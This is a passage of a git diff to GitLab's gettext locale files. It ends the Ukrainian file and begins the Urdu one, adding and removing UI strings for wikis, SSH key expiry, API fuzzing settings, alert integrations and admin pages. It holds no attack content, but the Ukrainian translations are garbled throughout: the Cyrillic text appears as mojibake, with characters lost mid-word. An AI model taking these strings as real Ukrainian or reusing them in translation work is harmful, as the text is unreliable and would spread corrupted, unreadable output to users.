-msgstr "Створити %{pageTitle}"
+msgid "WikiPage|Commit message"
+msgstr ""
+
+msgid "WikiPage|Content"
+msgstr ""
+
+msgid "WikiPage|Create %{pageTitle}"
+msgstr ""
+
+msgid "WikiPage|Create page"
+msgstr ""
+
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
-msgstr "Оновити %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
+msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr "Ðапишіть текÑÑ‚ або перетÑгніть файли Ñюди…"
@@ -34219,9 +35075,6 @@ msgstr "Вікі"
msgid "Wiki|Create New Page"
msgstr "Створити нову Ñторінку"
-msgid "Wiki|Create page"
-msgstr "Створити Ñторінку"
-
msgid "Wiki|Created date"
msgstr "Дата ÑтвореннÑ"
@@ -34234,9 +35087,6 @@ msgstr "Ðова Ñторінка"
msgid "Wiki|Page history"
msgstr "ІÑÑ‚Ð¾Ñ€Ñ–Ñ Ñторінки"
-msgid "Wiki|Page title"
-msgstr "Заголовок Ñторінки"
-
msgid "Wiki|Page version"
msgstr "ВерÑÑ–Ñ Ñторінки"
@@ -34297,6 +35147,9 @@ msgstr "Ðапишіть коментар або перетÑгніть файл
msgid "Write a comment…"
msgstr "ÐапиÑати коментар…"
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr "Створити Ð¾Ð¿Ð¸Ñ ÐµÑ‚Ð°Ð¿Ñƒ..."
@@ -34453,6 +35306,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34594,6 +35453,9 @@ msgstr "У Ð²Ð°Ñ Ñ‰Ðµ немає підпиÑок"
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr "У Ð²Ð°Ñ Ð½ÐµÐ¼Ð°Ñ” дозволу залишити це %{namespaceType}."
@@ -34678,9 +35540,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34717,12 +35576,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr "Ви уÑпішно придбали підпиÑку на план %{plan} на %{seats}. Ви отримаєте чек електронною поштою."
-msgid "You haven't added any issues to your project yet"
-msgstr "Ви ще не додавали ніÑких задач до ваших проєктів"
-
-msgid "You haven't selected any issues yet"
-msgstr "Ви ще не вибрали ніÑких задач"
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr "Ви залишили \"%{membershipable_human_name}\" %{source_type}."
@@ -34756,8 +35609,8 @@ msgstr "Вам потрібно вказати поточний пароль дÐ
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
-msgstr "Ви повинні налаштувати вхідну пошту, перш ніж вона Ñтане активною."
+msgid "You must solve the CAPTCHA in order to submit"
+msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
msgstr ""
@@ -34771,9 +35624,6 @@ msgstr "Вам потрібна верÑÑ–Ñ git-lfs верÑÑ–Ñ— %{min_git_lfs_
msgid "You need permission."
msgstr "Вам потрібен дозвіл"
-msgid "You need to be logged in."
-msgstr "Ви повинні увійти."
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34957,12 +35807,18 @@ msgstr "ÐктивніÑÑ‚ÑŒ ваших проєктів"
msgid "Your Public Email will be displayed on your public profile."
msgstr "Ваша публічна адреÑа електронної пошти буде відображатиÑÑ Ð² публічному профілі."
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr "Ваші ключі SSH (%{count})"
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr "Ваш ÑпиÑок нагадувань"
@@ -35083,6 +35939,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -35176,7 +36035,7 @@ msgstr "Zoom-зуÑтріч видалено"
msgid "[No reason]"
msgstr "[Без причини]"
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -35285,6 +36144,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35589,6 +36451,15 @@ msgstr "неможливо зчитати приватний ключ, чи Ñ” Ð
msgid "created"
msgstr "Ñтворено"
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35783,6 +36654,9 @@ msgstr "допомога"
msgid "http:"
msgstr "http:"
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr "https://your-bitbucket-server"
@@ -35955,8 +36829,8 @@ msgstr "увійти"
msgid "manual"
msgstr "вручну"
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
-msgstr "Ð’Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ð¼Ð°Ñ‚ÐµÐ¼Ð°Ñ‚Ð¸Ñ‡Ð½Ð¸Ñ… Ñимволів в цьому блоці займає занадто багато чаÑу Ñ– він не може бути коректно показаний. Також з міркувань швидкодії математичні блоки обмежені %{maxChars} Ñимволами. ÐамагайтеÑÑ Ñ€Ð¾Ð·Ð±Ð¸Ð²Ð°Ñ‚Ð¸ великі формули Ñ– математичні блоки на кілька чаÑтин або викориÑтовувати зображеннÑ."
+msgid "math|Displaying this math block may cause performance issues on this page"
+msgstr ""
msgid "math|There was an error rendering this math block"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ð¼Ð°Ñ‚ÐµÐ¼Ð°Ñ‚Ð¸Ñ‡Ð½Ð¾Ð³Ð¾ блоку"
@@ -35992,14 +36866,11 @@ msgstr "%{commitCount} буде додано в %{targetBranch}."
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr "1 коміт-злиттÑ"
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr "Ðаразі немає жодних змін в гілці-джерелі цього запиту на злиттÑ. Будь лаÑка, відправте нові коміти або викориÑтовуйте іншу гілку."
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
-msgstr "Зацікавлені Ñторони за бажаннÑм навіть можуть робити внеÑки шлÑхом Ð²Ñ–Ð´Ð¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð½Ñ ÐºÐ¾Ð¼Ñ–Ñ‚Ñ–Ð²."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
+msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
-msgstr "Запити на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð´Ð¾Ð·Ð²Ð¾Ð»ÑÑŽÑ‚ÑŒ запропонувати зміни Ñкі ви зробили в проєкті та обговорити ці зміни з іншими."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
+msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr "Будь лаÑка відновіть Ñ—Ñ— або викориÑтовуйте іншу %{missingBranchName} гілку"
@@ -36112,9 +36983,6 @@ msgstr "Запити на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñƒ форках не Ñтворюють Ð
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr "Якщо гілка %{branch} Ñ–Ñнує у вашому локальному репозиторії, то ви можете заÑтоÑувати цей запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð²Ñ€ÑƒÑ‡Ð½Ñƒ за допомогою"
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "Якщо гілка %{missingBranchName} Ñ–Ñнує у вашому локальному репозиторії, то ви можете заÑтоÑувати цей запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð²Ñ€ÑƒÑ‡Ð½Ñƒ за допомогою командного Ñ€Ñдка"
@@ -36265,18 +37133,12 @@ msgstr "Тепер ви можете видалити гілку-джерело"
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr "Ви можете прийнÑти цей запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð²Ñ€ÑƒÑ‡Ð½Ñƒ за допомогою"
-
msgid "mrWidget|Your password"
msgstr "Ваш пароль"
msgid "mrWidget|branch does not exist."
msgstr "гілка не Ñ–Ñнує."
-msgid "mrWidget|command line"
-msgstr "командного Ñ€Ñдка"
-
msgid "mrWidget|into"
msgstr "в"
@@ -36307,9 +37169,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr "повинна бути пізніша за дату початку"
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36376,15 +37235,6 @@ msgstr "по плану"
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr "відкрито %{timeAgoString} %{user}"
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr "відкрито %{timeAgo}"
@@ -36672,9 +37522,6 @@ msgstr "щоб допомогти вашим контриб’юторам ефÐ
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr "в ÑпиÑок"
-
msgid "toggle collapse"
msgstr "згорнути/розгорнути"
@@ -36720,6 +37567,12 @@ msgstr "ім'Ñ ÐºÐ¾Ñ€Ð¸Ñтувача"
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr "перевірити право влаÑноÑÑ‚Ñ–"
diff --git a/locale/ur_PK/gitlab.po b/locale/ur_PK/gitlab.po
index c906c5752ad..910cd990c53 100644
--- a/locale/ur_PK/gitlab.po
+++ b/locale/ur_PK/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ur-PK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:48\n"
+"PO-Revision-Date: 2021-04-02 00:07\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
